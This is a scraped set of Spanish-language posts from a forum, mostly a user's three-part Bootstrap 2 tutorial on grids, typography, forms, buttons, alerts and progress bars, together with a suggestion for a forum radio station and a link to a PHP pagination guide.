No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para cerrar la alerta tu usas el boton que contiene el atributo data-dismiss="alert". Los navegadores en celulares con opera o safari requieren un enlace para ser cerrado href="#".

Si tu necesitas escribir un mensaje largo en la alerta, tu deberias usar la clase .alert-block. Esto provee mas padding arriba y abajo en el contenido de la alerta, que es particularmente util para las lineas de varias paginas de contenido.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Este tambien contiene otros tres colores opcionales para mostrar para ayudar a proveer un mas semantico metodo para la alerta.

Estos son agregados usando cualquiera de estas clases: .alert-error, .alert-success, o alert-info.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Barra de progreso El propósito de la barra de progreso es hacer ver que los activos están cargando, en curso, o que hay una acción que tiene relación con los elementos de la pagina. Personalmente, yo pienso que estos elementos son solo un ejercicio en la estructura y tiene un pequeño proposito mas alla que en el bootstrap framework. Dicho esto, miles de gente usan bootstrap y como cada uno de ellos tienen una buena razon para usar barras de progeso. Por naturaleza estos son elementos estaticos que necesitan de javascript para prober alguna interaccion con el usuario. Por defecto, la barra de progreso contiene un color gris de fondo que al ir aumentando se muestra azul. Para crear una en un <div> agregamos la clase .progress y dentro agregamos otro <div> vacio con la clase .bar y le agregamos un estilo con el porcentaje style="60%"; indicando que la barra de progreso esta al 60%.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para crear una barra de progreso con rayas. Solamente agregamos la clase .progress-striped en el <div> que la contiene:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como la version barra de progreso con rayas, tu puedes animar las rayas, lo que hace que se vea mejor.


 
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
En adicion en la barra azul de progreso, estan las opciones verde, amarillo y rojo usando las clases .bar-success, bar-warning y bar-danger. Las barras de progreso pueden ser apiladas:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Objetos multimedia  Cuando nos fijamos en sitios sociales como twitter, facebook y otros, y quitas la parte donde esta formateado la linea del tiempo, veras el objeto multimedia. Impulsado por la comunidad bootstrap basado en los principios de la comunidad oocss (Object Oriented CSS), el objetivo del objeto de medios es hacer que el codigo para el desarrollo de estos bloques de informacion sea drasticamente menor. No tienes permitido ver los links. Registrarse o Entrar a mi cuentacomparte algunos objetos multimedia similares a los que estan en bootstrap. El objeto multimedia esta diseñado para ahorrar cientos de lineas de codigo por lo que es facil de personalizar.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Bootstrap deja el diseño y formato en ti, pero proporciona una forma sencilla de ponerse en marcha.
Al igual que otras herramientas de Bootstrap, el objetivo de los objetos multimedia (estructura ligera, facil extensibilidad) se logra mediante la aplicacion de clases para una simple estructura. hay dos formas para el objeto multimedia: .media y .media-list. Si estas preparando una lista donde los elementos (items) seran parte de una lista no ordenada, es recomendable usar .media-list y si no es asi basta con agregar la clase .media en un <DIV>:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
En la imagen anterior puedes ver el uso del objecto media con la clase .media en un DIV
Para usar media-list cambiariamos el contenedor <div> a un <ul> dejandole la clase media-list. Desde que agregas un media-list tu puedes agregar elementos dentro de elementos, dejando por ejemplo donde comentan un responder que seria un elemento dentro de otro elemento.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Misceláneo (Componentes de utilidad ligera)  Hay algunos componentes mas que cubriremos en este capitulo. Algunos de ellos son layout-based (basado en el diseño) y unos pocos clases de ayuda production-based (basados en la produccion). El primero de ellos son los wells (hundido).
Wells (hundido)  Un well es un contenedor <div> que hace que el cotenido aparezca hundido en la pagina. Se puede utilizar en los blogs para la meta de informacion de un post como son: autor, fecha y categorias. Para crear un well (hundimiento) simplemente envuelve el contenido con un <div> que contenga la clase .well.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hay dos clases adicionales que se pueden usar en conjunto con la clase .well las cuales son .well-small y .well-large. Esto afecta el padding (separacion por dentro) y crea el .well (hundimiento) mas largo o mas pequeño dependiendo de la clase que se use en conjunto.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Clases de ayuda  Estas son algunas de las clases de ayuda que pueden venir muy bien.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Alineamiento a la izquierda
Para hacer flotar un elemento a la izquierda use la clase .pull-left:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Alineamiento a la derecha
Para hacer flotar un elemento a la derecha use la clase .pull-right:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Clearfix
Para borrar el float (flotador, alineamiento) de cualquier elemento, utilizaremos la clase .clearfix. Cuando se tienen dos elementos de diferentes tamaños que se flotaban uno junto a otro, es necesario forzar los siguientes elementos en el codigo abajo o para borrar el contenido anterior. Para realizar esta accion solo es necesario agregar la clase .clearfix en un <div> vacio.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Imagen sin clearfix
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Imagen con clearfix
Aqui finalizamos la tercera parte de bootstrap espero que se hayan divertido practicando, nos vemos en la cuarta parte, espero al final de las partes hacer un proyecto facil donde veamos todo lo aprendido, salu2 :P

  Referencias  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#47
Ideas y Sugerencias / [Sugerencia]Radio underc0de
Octubre 29, 2013, 03:07:45 AM
Hola underc0de, bueno queria comentarles esta idea no se que les paresca pero he visto que muchas webs tienen su radio para su espacio de musica y para comentar algunas cosillas de hacking se pueden hacer grabaciones o cosas de ese tipo, recuerdo que antes en el inicio de underc0de habia unas canciones se podria hacer de nuevo? algo asi pero con mas canciones como radio y bueno tambien algunas horas hablar sobre algo de hacking que nos gusta a todos los del foro, bueno no se solo es una idea, espero ver las respuestas de los que le parece, saludos :P
#48
Zona Webmaster / [FRAMEWORK][BootStrap] MiniTutorial Parte 2
Octubre 16, 2013, 02:45:01 PM
Tipografía
Para empezar explicando esto debemos darnos cuenta que tipo de tipografía usamos en nuestro CSS de bootstrap.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Como te puedes dar cuenta Usamos la tipografia Helvenica Neue, Helvetica, Arial, Sans-serif ... Esto quiere decir que si en el ordenador donde estas no existe Helvetica Neue entonces utilizara Helvetica y sino Arial asi sucesivamente. Este tipo de letras la incluyen la mayoria de los computadores de hoy en día.
El tamaño de nuestras letras por defecto es de 14px y el espacio entre ellas es de 20px y un color gris a la fuente. Y los párrafos incluyen un margen abajo de 10px.

  Encabezados Los encabezados tienen un estándar para el tamaño de manera que los niveles van desde h1 hasta h6 cada uno tiene su tamaño, que serian los siguientes:

Código: css
h1 {
  font-size: 38.5px;
}

h2 {
  font-size: 31.5px;
}

h3 {
  font-size: 24.5px;
}

h4 {
  font-size: 17.5px;
}

h5 {
  font-size: 14px;
}

h6 {
  font-size: 11.9px;
}

Una cosa muy interesante es que si agregas la etiqueta small dentro de un encabezado le da un estilo diferente para empezar por el color y que la fuente no sera mas negrita, pero mejor te lo muestro:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si te das cuenta los encabezados normales solo agregamos un tamaño a la fuente, negrita y también agregamos algunos párrafos para que te dieras cuenta, como le agrega el margen de 10px abajo. Pero cuando usamos la etiqueta small dentro de un encabezado puedes ver como su color cambia, y además le quita la negrita.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
También podemos agregarle la clase .lead a nuestro párrafos de manera que cambiara el tamaño, la separación y negrita...

Código: css
.lead {
  margin-bottom: 20px;
  font-size: 21px;
  font-weight: 200;
  line-height: 30px;
}

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  Letras pequeñas
Anteriormente vimos que podíamos usar dentro de los encabezados la etiqueta small que lo que hacia era cambiar el color y quitarle la negrita... en caso de que la uses sola, el tamaño de la letra no estará a su 100% sino solo estará a su 85%.

  Negritas Para utilizar negritas no usaremos la etiqueta b sino utilizaremos la etiqueta strong, de esta manera en nuestro bootstrap.css ya viene definido su estilo como negrita.

  Itálicas
Al igual que en negritas en una letra itálica no usaremos la etiqueta i sino utilizaremos em por que sus estilos vienen en bootstrap.css

  Clases para alinear el texto
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
En bootstrap existen unas clases para alinear nuestro texto, las cuales son:

.text-left - alinea el texto a la izquierda
.text-right - alinea el texto a la derecha
.text-center - alinea el texto al centro

    Clases para dar énfasis a nuestro texto
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Estas clases son muy utiles ya que le daran un estilo muy lindo a nuestros mensajes informativos, de error, o que se realizaron correctamente...

.muted - agrega un estilo de un color apagado
.text-warning - agrega un estilo de un color como de advertencia
.text-error - agrega un estilo de un color como de error
.text-info - agrega un estilo de un color como de informativo
.text-success - agrega un estilo de un color como de algo que se ha realizado correctamente

En caso de que uses estas clases en enlaces lo que hace es subir un poquito el volumen del color cuando pasas el ratón encima de ellos.

  Abreviaciones
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

La etiqueta abbr sirve para darle abreviación a una palabra para que salga lo que significa agregamos el atributo title donde iría nuestro texto (en bootstrap se le agrega un borde abajo y cuando pasar el ratón sobre encima de el sale un cursor de ayuda) de lo que significa y usaremos una clase llamada .initialism que lo que hará sera agregar nuestra letra en mayúsculas.

  Direcciones (localización)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para mostrar la dirección de algo usamos la etiqueta address que tiene unos estilos como display:block, margen, tamaño de letra y espacio entre lineas.
    Bloque de cita
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Un bloque de cita se indica para eso mismo para citar alguna palabra que dijo alguien de algo largo solo una parte un bloque, en este caso utilizamos la etiqueta blockquote para ello, en este caso utilizamos small junto a la etiqueta cite para identificar quien es el autor de el texto citado anteriormente.
El blockquote si miras atentamente tiene un borde al lado izquierdo, además de un margen para los párrafos dentro de el, si hay dentro de el una etiqueta small lo muestra en bloque y con un color gris.
También puedes usar la clase .pull-right que alinearía hacia la derecha nuestro texto citado...
Código: css
.pull-right {
  float: right;
  padding-right: 15px;
  padding-left: 0;
  border-right: 5px solid #eeeeee;
  border-left: 0;
}
 
Listas ordenadas y  no ordenadas  Si dirán que estamos viendo HTML xD, pues de eso se trata ver como se aplica nuestro CSS a nuestro HTML y los cambios que esta produciendo, no se desesperen si han llegado aqui :P
Las listas ordenadas y no ordenadas no producen mucho efecto solo que como antes habíamos reseteado todo el html entonces bootstrap agrego algunos margenes...
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Algo que es muy interesante al crear las listas es que hay dos clases .unstyled que lo que hace es remover el ·  e .inline que lo que hace es mostrarlas en linea.
Estos dos son muy importantes a la hora de poder crear un menu...
   Listas de definición  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 
Las listas de definición como su nombre lo dice son para poner algún elemento que quieras definir algo, por ejemplo que es un blogger... donde con la etiqueta dl definimos una lista de definición y con dt el termino de la definicion y con dd la definicion del termino... lo uncio que hace bootstrap en este caso es darle un margen y negrita al termino de la definicion. Otra cosa importante es que tenemos una clase .dl-horizontal que lo que hace es mover horizontalmente el texto de la definicion de manera que se vea mejor formateado.
Código  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 
Hay dos formas de mostrar código con bootstrap utilizando la etiqueta code o también utilizando la etiqueta pre aunque la diferencia mas significativa es que con code el código se muestra en linea agregando un color significativo y con pre se muestra en bloque.
Tablas  Al igual que todas las tablas normales del html podemos tener los siguientes elementos en una tabla:
table - etiqueta que crea la tabla
caption - subtitulo de la tabla
thead - cuerpo de títulos
tbody - cuerpo de la tabla
th -campo de titulo
tr - fila de la tabla
td - campo de la tabla
Con eso dicho hay una clase .table que tiene los estilos básicos para la creación de una tabla.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
También tenemos algunas clases para la tabla, de manera que tenga diferentes estilos.

.table-striped - le da color a una fila si y a otra no 1 si y otra no
.table-bordered - le deja a la tabla un borde redondeado
.table-hover - cuando pasas el cursor encima de una fila le da un color de fondo
.table-condensed - no deja separación entre las celdas lo que hace que la fila se vea mas pequeña (condensada)
Veamos un ejemplo utilizando .table-striped:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Recuerda que si no miras mucho la diferencia puedes darle clic a la imagen para verla mas grande.

Otra cosa muy interesante en las tablas es que puedes usar una clase para las filas, las cuales pueden ser las siguientes:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  Formularios
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Otras de las características muy buenas que incluye bootstrap al igual que las tablas son los formularios que tienen un par de clases la cual puedes crear unos efectos muy lindos.

Como puedes ver ahí en la imagen incluimos algunas clases, pero expliquemos una de las cosas que agrega bootstrap.css en nuestro formulario.

Por ejemplo la etiqueta legend que anteriomente habiamos reseteado ahora contiene un estilo de un borde abajo de un color como gris...

Y los inputs  contienen un color como gris también pero al tomar el foco cambian su color a azul, placeholder es un atributo html que muestra atrás lo que se puede hacer en ese input... (marcador de posición). Además de eso se muestran en bloque de linea y contienen una transición que dura como 2 seg al seleccionar el input de manera que se mire un poco de retraso, otra cosa es que cuando tiene el foco le agrega un box shadow lo que hace que ese color azul se vea como algo único.


.help-block - Es una clase para mostrar ayuda, lo único que hacen en los estilos es darle que se muestre en bloque y su letra algo gris bajo.


.checkbox - Esta clase da un poco de separación por dentro, entre los elementos del checkbox.

.btn - Esta clase de algo de separación, transición, pero algo de lo mas útil es que hace un gradient (inclinación) o una imagen gris con CSS3 es algo muy útil, además de agregar un efecto cuando toma foco.

    Formularios opcionales capas Espero que se acuerden del primer minitutorial de bootstrap donde comentabamos algo acerca de las capas; si leen esto y no han leido lo otro lo entenderan pero se relacionan al verlo.

  Formulario de búsqueda
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como su nombre lo dice solo es un formulario para que su estilo gracias a las clases usadas sea como uno de búsqueda y podamos usarlo para nuestra programación back-end, para alguna búsqueda en la base de datos, por ejemplo.

.search-query - lo que hace es redondear los inputs
.form-search - hace que los inputs se muestren inline-block
.input-medium - Le da al input un tamaño de 150px


  Formularios en linea Cuando digo formulario en linea me refiero que los formularios se muestran uno de detrás de otro de manera que están en linea, y no en bloque...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

como pueden ver lo único nuevo acá es la clase .form-inline que lo que hace es mostrar el formulario de manera que este en linea como dije anteriormente...
se muestra en una sola linea y lo puedes ver en la imagen anterior.

  Formularios horizontales


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
   Aquí puedes ver los estilos de cada uno de las clases que estamos usando:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Como ves no es nada difícil de interpretar solo vemos que los elementos se acomodan como deben de ser. Gracias a las clases aplicadas.


  Controles de formularios soportados
Bootstrap soporta los controles mas usados, como son:
input, textarea, checkbox, radio y select.
Y no solo esos sino que además también soporta los controles de HTML5:
datetime, datetime-local, date, month, time, week, number, email, url, search, tel y color.

  input
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El input text es el mas usado, una de las características de estos es que incluye un resplandor azul al obtener el foco o estar activo.

  textarea
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El textarea es uno de los mas usados, ya que se usa para cuando necesitas escribir múltiples lineas, no cambia mucho los estilos.

  Checkbox y botones de radio



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Con checkbox y botones de radio tu puedes elegir una opcion dentro de la lista de opciones, cuando creas checkbox puedes seleccionar varias opciones en una lista, pero cuando creas un boton de radio puedes seleccionar solo 1 opcion dentro de toda la lista.

Como puedes ver en la imagen anterior, usamos algunas clases en los labels, como son la clase .checkbox que habiamos visto mas atras y la clase .radio, estas clases lo unico que hacen es darle margen y hacer que se muestren en bloque...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Otra cosa es que por ejemplo podríamos usar la clase .inline para formar una fila de checkbox de los cuales elegir varias opciones.

  selects
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Los selects son cuando quieres poner demasiadas o varias opciones, lo puedes usar, pero si quieres usar y seleccionar mas de 1 sola opción necesitas utilizar el atributo multiple.

  Controles de formulario extendidos Ademas de los formularios comunes, bootstrap te ofrece unos complementos para los formularios.

  Campos de entrada adjunto y antepuesto
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

.add-on - agrega un pequeño estilo parecido al del boton (.btn)
.input-prepend - junto a la clase add-on decide agregándolo al principio el pequeño botón (el estilo)
.input-append  -  junto a la clase add-on decide agregándolo al final el pequeño botón (el estilo)


Si ves la imagen de arriba el @ y el .00 son los que estan en la clase add-on y acada uno de ellos estan en sus capas que tienen sus clases input-prepend e input-append.

De hecho puedes combinarlos tanto como quieras:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  Tamaño de los controles del formulario
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En bootstrap podemos usar unas clases que nos darán un tamaño predeterminado para los inputs de manera que le podemos dar un mejor estilo o el tamaño que gustemos a cada input.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
no creo que sea necesario explicar como se usa la clase en un input pero por si acaso: <input class="acavalaclase" />

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No solo podemos usar estas clases, no se si te acuerdas del sistema cuadricula? de la primera parte de bootstrap, bueno pues usaremos las mismas clases solo que se aplican a inputs y textarea... y a cada una tiene su tamaño...
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como puedes ver .span12 es el mayor y .span1 el menor puedes ver la imagen de arriba como referencia. No solo puedes usarlo en inputs sino tambien en selects,textarea,etc.

  Texto que no puede ser editado
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Una forma de dar un estilo donde tendrías un input con un texto que no puede ser editado es usando la clase .uneditable-input. Con el cual si pasas el ratón encima de el se pondrá una flechita de stop (alto,para) indicando que no puede ser editado.
    Formulario de acciones
El formulario de acciones es un formulario como su nombre lo dice que podriamos poner acciones tales como Cancelar, Enviar, Guardar, Reestablecer...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

.form-actions - da unas separaciones, margenes, color de fondo, borde, y otra cosa es que muestra el contenido en table...

.btn-primary - da ese efecto de azul al botón lo mismo cuando le pasas el botón encima, gracias a esta clase el botón cambia y es la manera de decir que podría ser un botón primario que se diferencia de los demás.

  Texto de ayuda
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
.help-inline - muestra un texto de ayuda en linea (me refiero a su formato) es decir, en una sola linea

.help-block - muestra un texto de ayuda en bloque

  Campo de entrada desabilitado
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El atributo disabled podemos ver como le da un color y el cursor cambia su forma de manera que indica que ese input no puede ser cambiado.

  Entradas de validación Este tipo de cosas aunque no lo creas son de las mas usadas en una pagina web, como antes vimos con el texto también podía tomar diferentes color dependiendo de la situación (error,warning,info,success) es lo mismo con los inputs.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




La mayoria de las cosas ya las habiamos visto, los divs esos agrupan cada input, y le aplicamos su clase dependiendo del estado hay un color.
No solo podemos aplicar un estado de esta manera podriamos usar alguna pseudoclase del css, por ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como puedes ver en el ejemplo, cuando el email esta mal el input lo muestra en rojo, pero cuando esta bien lo muestra en azul. Esto tambien lo podemos modificar nosotros mismos que tal si quisieramos un verde cuando este bien?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
agregamos nuestro propio estilo, y listo.

  Botones Las siguientes clases no solo pueden ser aplicadas en los botones sino tambien en los enlaces.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Como puedes ver solo es cuestion de aplicar estas clases, a nuestro boton con lo cual le daremos unos efectos muy vistosos, como los que estan viendo, algunos que se usan para indicar una determinada accion.
    Tamaño de los botones Al igual que en los inputs podemos darle unas clases para modificar el tamaño de nuestros botones (buttons).

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Como puedes ver en la imagen tenemos diferentes clases para los tamaños.

.btn-large - para un boton largo
.btn-small - para un boton pequeño
.btn-mini - para un boton mas pequeño

Otra cosa que podemos hacer con los botones es mostrarlos en bloque, usando la clase .btn-block con lo cual toma todo el ancho de la pagina:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  Deshabilitar botón (estilos) Veamos como cambian los estilos cuando usamos la clase .disabled

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Como puedes ver lo que mas se nota es como agrega la opacidad al boton.

  Imágenes
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Otra de las cosas que dan mucho efecto son las clases de las imagenes:

.img-rounded - agrega un border radius de 6px en cada esquina
.img-circle - redondea completamente una imagen
.img-polaroid - agrega un pequeño borde con el cual parece un cuadro

  Iconos 
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bootstrap tiene 140 iconos en un sprite, sino sabes que son los sprites puedes ver este tema:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Estos iconos han sido proporcionados por: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
una manera de utilizar estos iconos son con las clases que vienen a su lado...
para ello usamos la etiqueta i...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Como puedes ver usamos una clase .btn-toolbar es una barra de herramientas de botones, la cual da algunos margenes. y .btn-group con la cual agrupamos los enlaces de los botones la cual tambien incluye unos margenes.
Lo importante en estos casos es como agregamos los iconos usando la etiqueta i.

  Navegación
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

.nav y nav-list - da unos margenes para que se vea como una lista de navegacion
.active - hace que el enlace se vea con fondo azul como que esta activo
i class="clasedelicono" - le pone el icono como una imagen sprite


Hasta aqui ha llegado la segunda parte de este minitutorial nos vemos en la tercera parte espero traerle un poco mas de sorpresas, muchos diran estamos aprendiendo HTML y CSS a la ves, pues eso es algo que podria decirse correcto en si, bootstrap lo unico que hace es facilitarnos todo este proceso.

Referencias:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#49
Zona Webmaster / [FRAMEWORK][BootStrap] MiniTutorial Parte 1
Octubre 01, 2013, 07:24:26 AM
 Introducción 
Bueno amigos esta es la primera parte de algunas series que haré sobre bootstrap, en las cuales empezaremos explicando cosas basicas y al final crearemos nuestra plantilla.
  ¿Que es Bootstrap?
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Bootstrap es una librería No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que esta mantenida por dos desarrolladores que anteriormente trabajaban en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta). Que puede ser modificable para utilizarla en tus desarrollos webs, además de que es No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    Estructura de Bootstrap
Citar
bootstrap/ ├── css/ │   ├── bootstrap.css │   ├── bootstrap.min.css ├── js/ │   ├── bootstrap.js │   ├── bootstrap.min.js └── img/ ├── glyphicons-halflings.png └── glyphicons-halflings-white.png

Esa es la estructura básica para usar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Como puedes observar estos son los archivos mínimos necesarios para empezar a utilizar bootstrap...
  Plantilla Básica HTML usando Bootstrap Para empezar creando una plantilla basica usando bootstrap no es necesario, crear demasidado codigo, lo de aqui seria jugar con clases que vienen en los css, que veremos mas adelante...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Como puedes ver el resultado arriba ya esta aplicado los estilos a la cabecera que escribi... utilize los estilos comprimidos al igual el js comprimido... una cosa aqui es que si te das cuenta estoy guardando mi proyecto en mi localhost, lo cual no es necesario (lo hago por gusto) ya que como es front-end no es necesario utilizar un servidor web para poder probarlo.
Además es importante el uso de !DOCTYPE como etiqueta en este caso se requiere para usarlo en navegadores modernos.
  Estilos globales y su importancia 
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Una de las cosas importantes es que en nuestros estilos podemos ver como bootstrap.css utiliza No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que lo que hace es resetear nuestros html a 0, es decir, medidas a 0. Con esto se asegura de que la visibilidad sea la misma para todos los navegadores al aplicar nuestros estilos... y como les dije así aplicando No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Otras caracteristicas son que en el body no hay margen, el color del body es blanco, @baseFontFamily @baseFontSize @baseLineHeight  @linkColor son algunas variables que pueden ser personalizadas.

  Sistema Cuadricula Por defecto bootstrap contiene una sistema de cuadricula que contiene 12 columnas, esto es para que no de un tamaño de pantalla segun sea el dispositivo que nos este viendo, para ello claro tenemos que añadir nuestro archivo bootstrap-responsive.css, lo cual veremos mas adelante...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
En la imagen anterior podemos darnos cuenta que en el código, existen dos clases la cuales son .row y .span[numero] siendo row nuestra fila y span nuestro numero de columnas...
Con el numero de columnas le damos un tamaño a nuestra fila... Ejemplo:

Código: Text
 span12 - 940px
 span11 - 860px
 span10 - 780px
 span9 - 700px
 span8 - 620px
 span7 - 540px
 span6 - 460px
 span5 - 380px
 span4 -  300px
 span3 - 220px
 span2 - 140px
 span1 - 60px


Entonces como mostramos el primer No tienes permitido ver los links. Registrarse o Entrar a mi cuenta tenemos 940px despues tenemos 620px 300px que dan como resultado  920px acercandose mucho a span12 pero con ello puedes ver como creamos nuestra fila con nuestro tamaño, te estaras preguntando ¿y esto para que lo hacemos?, pues muchas veces algunos diseñadores web utilizan cuadriculas en su diseños para que se vean fijos en las webs de manera que en todas las webs se vean igual...

  Acomodar las columnas
Una cosa importante al utilizar las cuadriculas seria acomodar las columnas de manera que le demos un margen izquierdo... Si alguna ves vistes algo de CSS recordaras que el margen es lo de fuera del borde...

Para realizar esto en bootstrap utilizaremos la clase .offset la cual podemos ver todos sus tamaños en el archivo bootstrap.css

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Entonces le daré un offset a nuestra columna span12 de 100px(offset1) que nos dara un margen izquierdo en el como puedes comparar la siguiente imagen con la de arriba (lo amarillo es lo que acabamos de aplicar offset1):

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  Anidación de columnas A anidación me refiero que puede haber una columna dentro de otra...
Como en este ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Todo esto lo hemos visto arriba lo único que estamos haciendo es poner una fila dentro de otra fila, algo que es algo interesante es que la clase .row agrega por defecto un margen izquierdo de -20px por lo cual tuve que ingresarle un .offset2 ala primera columna de la segunda fila ya que se hereda... en caso de que quisiéramos que todo quedara Fixed podriamos usar la clase .row-fluid en lugar de .row de manera que quedara tal y como debe ser.

  Capas Una de las muchas cosas utilizadas en el diseño web son las capas y esta seria una de las cosas mas importantes que veremos en esta parte con la cual podríamos usar la clase .container o .container-fluid con la cual centramos nuestro contenido y con container-fluid le damos un espacio por dentro...
Un buen ejemplo seria poner nuestra barra lateral y contenido, que cuando inicias un proyecto siempre divides tu web de manera que quede como tu lo decidistes...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como puedes ver usamos todo lo visto hasta ahora y container-fluid, que es el de ahora mismo, y para que distinguieramos las cosas le agregue unos estilos aparte de los colores y un border y un margen arriba para que se viera con colores como es que estamos creando nuestras capas y dividiendolas usando solo las clases de bootstrap...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  Responsive Web Design (Vista de diseño adaptable)
Esto se refiere que nuestro diseño se adapta al dispositivo donde lo estemos mirando para ello agregaremos nuestro CSS y una etiqueta meta...

Dentro del head agregamos lo siguiente:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Con esto nuestra pagina web se ira adaptando segun las escalas de los dispositivos que se esten usando en el momento....

Un ejemplo para ello es utilizar el inspector de elemento de firefox y utilizar el icono vista diseño adaptable para ir viendo como quedaria nuestro diseño en diferentes resoluciones...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Y hasta aqui la primera parte de este minitutorial espero traer la segunda parte pronto...

Sitio referencia:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#50
Back-end / Sistema de paginacion en PHP y MySQL
Septiembre 18, 2013, 05:36:22 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bueno amigos como tenia rato sin aportar nada ahora que ando al pedo xD
Me he puesto a crear un par de tutoriales que les pueden ser de utilidad para cualquier trabajo, ya que es una de las cosas mas usadas, en el desarrollo web...

Les dejo el PDF para que se entretengan leyendo....

Ver online: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Descargar: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#51
Cursos, manuales y libros / PHP 6 and MySQL 5 for Dynamic Web Sites: Visual QuickPro Guide (3rd Edition)
Septiembre 03, 2013, 04:23:11 PM


Resumen:

